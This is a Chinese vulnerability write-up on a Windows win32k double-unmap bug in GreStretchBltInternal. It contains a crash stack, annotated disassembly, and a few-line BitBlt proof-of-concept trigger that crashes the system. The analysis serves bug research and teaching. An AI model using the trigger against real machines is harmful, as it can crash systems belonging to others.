移动协同6.1.1:win32k!GreStretchBltInternal()没有处理src ==dest漏...

来源:百度文库 编辑:中财网 时间:2024/04/27 16:56:00

调用栈:
kd> kv
ChildEBP RetAddr  Args to Child             
8853e55c 8191de71 00000003 a3f4964d 00000065 nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
8853e5ac 8191e96d 00000003 ffa1273a 00a20107 nt!KiBugCheckDebugBreak+0x1c
8853e970 81887f2b 0000007f 0000000d 00000000 nt!KeBugCheck2+0x68b
8853e970 ffa1273a 0000007f 0000000d 00000000 nt!KiSystemFatalException+0xf (FPO: [0,0] TrapFrame @ 8853e990)
WARNING: Frame IP not in any known module. Following frames may be wrong.
8853ea34 818816ba 834a13f8 00000001 00000000 0xffa1273a
8853ea4c 8a8deda3 834a13f8 00000000 8a8dd2b5 nt!KeReleaseMutex+0x14
8853ea58 8a8dd2b5 ffb91008 8a8a0aa9 00000000 win32k!W32PIDLOCK::vUnlockSingleThread+0xf (FPO: [0,0,0])
8853ea60 8a8a0aa9 00000000 ffa12728 a20107be win32k!SURFACE::bUnMap+0x1b (FPO: [2,0,4])
8853ebd4 8a8fc5fa a20107be 00000020 00000020 win32k!GreStretchBltInternal+0x3fb (FPO: [Non-Fpo])
8853eccc 8a8e4e36 a20107be 00000020 00000020 win32k!NtGdiBitBltInternal+0x52 (FPO: [Non-Fpo])
8853ed00 8188442a a20107be 00000020 00000020 win32k!NtGdiBitBlt+0x2f (FPO: [Non-Fpo])
8853ed00 773964f4 a20107be 00000020 00000020 nt!KiFastCallEntry+0x12a (FPO: [0,3] TrapFrame @ 8853ed34)
003dfb70 76d37209 76d371f1 a20107be 00000020 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
003dfb74 76d371f1 a20107be 00000020 00000020 GDI32!NtGdiBitBlt+0xc (FPO: [11,0,0])
003dfbb8 001b1087 a20107be 00000020 00000020 GDI32!BitBlt+0x1fa (FPO: [Non-Fpo])
003dfc10 001b11d1 00000001 00461860 00461880 exploit!main+0x87 (FPO: [Non-Fpo]) (CONV: cdecl) [f:\exploit\exploit\exploit.cpp @ 108]
003dfc58 77041174 7ffdd000 003dfca4 773ab3f5 exploit!__tmainCRTStartup+0x10b (FPO: [Non-Fpo]) (CONV: cdecl) [f:\dd\vctools\crt_bld\self_x86\crt\src\crt0.c @ 278]
003dfc64 773ab3f5 7ffdd000 77542bc3 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
003dfca4 773ab3c8 001b1227 7ffdd000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
003dfcbc 00000000 001b1227 7ffdd000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

细节:
BOOL BitBlt(
  HDC hdcDest, // handle to destination DC
  int nXDest,  // x-coord of destination upper-left corner
  int nYDest,  // y-coord of destination upper-left corner
  int nWidth,  // width of destination rectangle
  int nHeight, // height of destination rectangle
  HDC hdcSrc,  // handle to source DC
  int nXSrc,   // x-coordinate of source upper-left corner
  int nYSrc,   // y-coordinate of source upper-left corner
  DWORD dwRop  // raster operation code
);
函数没有判断hdcDest==hdcSrc的情况,导致两次UnMap对象时出错。

分析过程:
断win32k!NtGdiBitBlt函数,因为这个函数非常频繁,所以用条件断点,方法是在exploit中
Window                  = CreateWindowEx(WS_EX_COMPOSITED, "Class", "Window", 0, 32, 32, 32, 32, NULL, NULL, NULL, NULL);
Device                  = GetWindowDC(Window);
printf("0x%08x\n",(DWORD)Device);//这里记下Device的值
getchar();//这里等待输入,我们可以有时间下条件断点后再输入
BitBlt(Device, 31, 32, 33, 34, Device, 35, 36, CAPTUREBLT | SRCCOPY);

然后在windbg中用条件断点ba e1 win32k!NtGdiBitBlt "r $t0=poi(esp+4);.if(@$t0!=0x150108d9){g}"


---------------------------------------------------------------------------
.text:BF8C4E07 ; __stdcall NtGdiBitBlt(x, x, x, x, x, x, x, x, x, x, x)
.text:BF8C4E07 _NtGdiBitBlt@44 proc near               ; DATA XREF: .data:BFA05038o
.text:BF8C4E07
.text:BF8C4E07 hdcDest         = dword ptr  8
.text:BF8C4E07 nXDest          = dword ptr  0Ch
.text:BF8C4E07 nYDest          = dword ptr  10h
.text:BF8C4E07 nWidth          = dword ptr  14h
.text:BF8C4E07 nHeight         = dword ptr  18h
.text:BF8C4E07 hdcSrc          = dword ptr  1Ch
.text:BF8C4E07 nXSrc           = dword ptr  20h
.text:BF8C4E07 nYSrc           = dword ptr  24h
.text:BF8C4E07 dwRop           = dword ptr  28h
.text:BF8C4E07 arg_24          = dword ptr  2Ch
.text:BF8C4E07 arg_28          = dword ptr  30h
.text:BF8C4E07
.text:BF8C4E07                 mov     edi, edi
.text:BF8C4E09                 push    ebp
.text:BF8C4E0A                 mov     ebp, esp
.text:BF8C4E0C                 mov     eax, [ebp+arg_28]
.text:BF8C4E0F                 and     eax, 0FFFFFFFDh
.text:BF8C4E12                 push    eax
.text:BF8C4E13                 push    [ebp+arg_24]
.text:BF8C4E16                 push    [ebp+dwRop]
.text:BF8C4E19                 push    [ebp+nYSrc]
.text:BF8C4E1C                 push    [ebp+nXSrc]
.text:BF8C4E1F                 push    [ebp+hdcSrc]
.text:BF8C4E22                 push    [ebp+nHeight]
.text:BF8C4E25                 push    [ebp+nWidth]
.text:BF8C4E28                 push    [ebp+nYDest]
.text:BF8C4E2B                 push    [ebp+nXDest]
.text:BF8C4E2E                 push    [ebp+hdcDest]
.text:BF8C4E31                 call    _NtGdiBitBltInternal@44 ; NtGdiBitBltInternal(x,x,x,x,x,x,x,x,x,x,x)
.text:BF8C4E36                 pop     ebp
.text:BF8C4E37                 retn    2Ch
.text:BF8C4E37 _NtGdiBitBlt@44 endp

---------------------------------------------------------------------------

.text:BF8DC5A8 ; __stdcall NtGdiBitBltInternal(x, x, x, x, x, x, x, x, x, x, x)
.text:BF8DC5A8 _NtGdiBitBltInternal@44 proc near       ; CODE XREF: BitBltSysBmp(x,x,x,x)+40p
.text:BF8DC5A8                                         ; BitBltSysBmp(x,x,x,x)+E8p ...
。。。。。。
.text:BF8DC5A8                 mov     edi, edi
.text:BF8DC5AA                 push    ebp
.text:BF8DC5AB                 mov     ebp, esp
.text:BF8DC5AD                 sub     esp, 0BCh
.text:BF8DC5B3                 mov     eax, [ebp+dwRop]
.text:BF8DC5B6                 and     [ebp+dwRop], 0DFFFFFFFh
.text:BF8DC5BD                 and     [ebp+var_4], 0
.text:BF8DC5C1                 shr     eax, 1Ch
.text:BF8DC5C4                 and     eax, 2
.text:BF8DC5C7                 test    [ebp+dwRop], 40000000h ; 测试有无CAPTUREBLT标志
.text:BF8DC5CE                 jz      short loc_BF8DC5FF ; 没有就跳走,这里我们不跳
.text:BF8DC5D0                 push    eax
.text:BF8DC5D1                 push    [ebp+arg_24]
.text:BF8DC5D4                 push    [ebp+dwRop]
.text:BF8DC5D7                 push    [ebp+nHeight]
.text:BF8DC5DA                 push    [ebp+nWidth]
.text:BF8DC5DD                 push    [ebp+nYSrc]
.text:BF8DC5E0                 push    [ebp+nXSrc]
.text:BF8DC5E3                 push    [ebp+hdcSrc]
.text:BF8DC5E6                 push    [ebp+nHeight]
.text:BF8DC5E9                 push    [ebp+nWidth]
.text:BF8DC5EC                 push    [ebp+nYDest]
.text:BF8DC5EF                 push    [ebp+nXDest]
.text:BF8DC5F2                 push    [ebp+hdcDest]
.text:BF8DC5F5                 call    _GreStretchBltInternal@52 ; GreStretchBltInternal(x,x,x,x,x,x,x,x,x,x,x,x,x)//这里进入

---------------------------------------------------------------------------

.text:BF8806AE ; __stdcall GreStretchBltInternal(x, x, x, x, x, x, x, x, x, x, x, x, x)
。。。。。。。
.text:BF8806AE hdcDest         = dword ptr  8
.text:BF8806AE nXDest          = dword ptr  0Ch
.text:BF8806AE nYDest          = dword ptr  10h
.text:BF8806AE nWidth          = dword ptr  14h
.text:BF8806AE nHeight         = dword ptr  18h
.text:BF8806AE hdcSrc          = dword ptr  1Ch
.text:BF8806AE nXSrc           = dword ptr  20h
.text:BF8806AE nYSrc           = dword ptr  24h
.text:BF8806AE nWidth_bak      = dword ptr  28h
.text:BF8806AE nHeigh_bak      = dword ptr  2Ch
.text:BF8806AE dwRop           = dword ptr  30h
.text:BF8806AE arg_2C          = dword ptr  34h
.text:BF8806AE arg_30          = byte ptr  38h
.text:BF8806AE
.text:BF8806AE                 mov     edi, edi
.text:BF8806B0                 push    ebp
.text:BF8806B1                 mov     ebp, esp
.text:BF8806B3                 sub     esp, 158h
.text:BF8806B9                 mov     eax, ___security_cookie
.text:BF8806BE                 xor     eax, ebp
.text:BF8806C0                 mov     [ebp+var_4], eax
.text:BF8806C3                 mov     eax, [ebp+hdcSrc]
.text:BF8806C6                 and     [ebp+var_10], 0
.text:BF8806CA                 and     [ebp+var_DC], 0
.text:BF8806D1                 push    ebx
.text:BF8806D2                 mov     ebx, [ebp+hdcDest]
.text:BF8806D5                 push    esi
.text:BF8806D6                 mov     esi, [ebp+dwRop]
.text:BF8806D9                 mov     [ebp+var_EC], esi
.text:BF8806DF                 and     esi, 7FFFFFFFh
.text:BF8806E5                 push    edi
.text:BF8806E6                 mov     [ebp+local_hdcDest], ebx
.text:BF8806EC                 mov     [ebp+local_hdcSrc], eax
.text:BF8806F2                 test    esi, 40000000h
.text:BF8806F8                 jz      short loc_BF88070A
.text:BF8806FA                 mov     [ebp+var_DC], 1
.text:BF880704                 and     esi, 0BFFFFFFFh
.text:BF88070A
.text:BF88070A loc_BF88070A:                           ; CODE XREF: GreStretchBltInternal(x,x,x,x,x,x,x,x,x,x,x,x,x)+4Aj
.text:BF88070A                 mov     ecx, esi
.text:BF88070C                 and     ecx, 0FF0000h
.text:BF880712                 mov     eax, esi
.text:BF880714                 shr     eax, 8
.text:BF880717                 or      ecx, eax
.text:BF880719                 shr     ecx, 8
.text:BF88071C                 mov     eax, ecx
.text:BF88071E                 mov     edx, 0FFh
.text:BF880723                 shr     eax, 8
.text:BF880726                 and     eax, edx
.text:BF880728                 movzx   edi, _gajRop3[eax]
.text:BF88072F                 mov     [ebp+var_14], ecx
.text:BF880732                 and     ecx, edx
.text:BF880734                 movzx   edx, _gajRop3[ecx]
.text:BF88073B                 or      edx, edi
.text:BF88073D                 mov     edi, edx
.text:BF88073F                 and     edi, 0D4h
.text:BF880745                 mov     [ebp+var_E4], edx
.text:BF88074B                 mov     [ebp+var_E0], edi
.text:BF880751                 jnz     short loc_BF880771 ; 这里跳走了
。。。。。。
。。。。。。
.text:BF880771 loc_BF880771:                           ; CODE XREF: GreStretchBltInternal(x,x,x,x,x,x,x,x,x,x,x,x,x)+A3j
.text:BF880771                                         ; GreStretchBltInternal(x,x,x,x,x,x,x,x,x,x,x,x,x)+A7j
.text:BF880771                 push    ebx
.text:BF880772                 lea     ecx, [ebp+local_hdcDest_DCOBJ] ; 初始化hdcDest的DCOBJ
.text:BF880778                 call    ??0DCOBJ@@QAE@PAUHDC__@@@Z ; DCOBJ::DCOBJ(HDC__ *)
.text:BF88077D                 push    [ebp+local_hdcSrc]
.text:BF880783                 lea     ecx, [ebp+local_hdcSrc_DCOBJ] ; 初始化hdcSrc的DCOBJ
.text:BF880789                 call    ??0DCOBJ@@QAE@PAUHDC__@@@Z ; DCOBJ::DCOBJ(HDC__ *)
。。。。。。
。。。。。。
.text:BF880A77                 mov     eax, [ebp+local_hdcSrc_DCOBJ]
.text:BF880A7D                 mov     ecx, [eax+1F8h] ; eax=local_hdcSrc_DCOBJ
.text:BF880A83                 push    0
.text:BF880A85                 push    0               ; 下面调用bUnMap函数
.text:BF880A87                 call    ?bUnMap@SURFACE@@QAEHPAXPAVDC@@@Z ; SURFACE::bUnMap(void *,DC *)
.text:BF880A8C                 mov     edi, [ebp+local_hdcDest_DCOBJ]
.text:BF880A92
.text:BF880A92 loc_BF880A92:                           ; CODE XREF: GreStretchBltInternal(x,x,x,x,x,x,x,x,x,x,x,x,x)+3B7j
.text:BF880A92                                         ; GreStretchBltInternal(x,x,x,x,x,x,x,x,x,x,x,x,x)+3C7j
.text:BF880A92                 test    dword ptr [edi+18h], 4000h
.text:BF880A99                 jz      short loc_BF880AA9
.text:BF880A9B                 mov     ecx, [edi+1F8h] ; edi=local_hdcDest_DCOBJ
.text:BF880AA1                 push    edi
.text:BF880AA2                 push    0               ; 下面调用bUnMap函数,但是。。。。
.text:BF880AA2                                         ; local_hdcDest_DCOBJ和local_hdcSrc_DCOBJ两个对象的hDevice是一样的!
.text:BF880AA2                                         ;
.text:BF880AA2                                         ;
.text:BF880AA4                 call    ?bUnMap@SURFACE@@QAEHPAXPAVDC@@@Z ; SURFACE::bUnMap(void *,DC *)
.text:BF880AA9
两次bUnMap同一个对象,导致系统崩溃